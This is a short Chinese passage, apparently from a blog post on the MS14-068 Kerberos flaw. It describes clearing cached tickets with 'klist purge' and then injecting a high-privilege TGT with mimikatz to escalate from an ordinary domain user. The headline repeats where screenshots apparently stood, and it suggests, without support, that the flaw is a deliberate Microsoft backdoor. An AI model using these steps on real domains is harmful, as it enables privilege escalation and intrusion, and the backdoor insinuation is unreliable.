    于是,我怀着好奇的心理,阅读了列举缓存证书的命令klist,果然发现:

    深入解读MS14-068漏洞:微软精心策划的后门?

    果然发现purge这个单词,经Google翻译,为“清除”之意,心中窃喜,于是在域用户下使用该命令:

    深入解读MS14-068漏洞:微软精心策划的后门?

    果然,缓存证书被清空了,那接下来就好办了,再次利用mimikatz注入高权限TGT的缓存证书,然后执行:

    深入解读MS14-068漏洞:微软精心策划的后门?

    你会发现,在域用户下,该漏洞也是可以利用的!

    [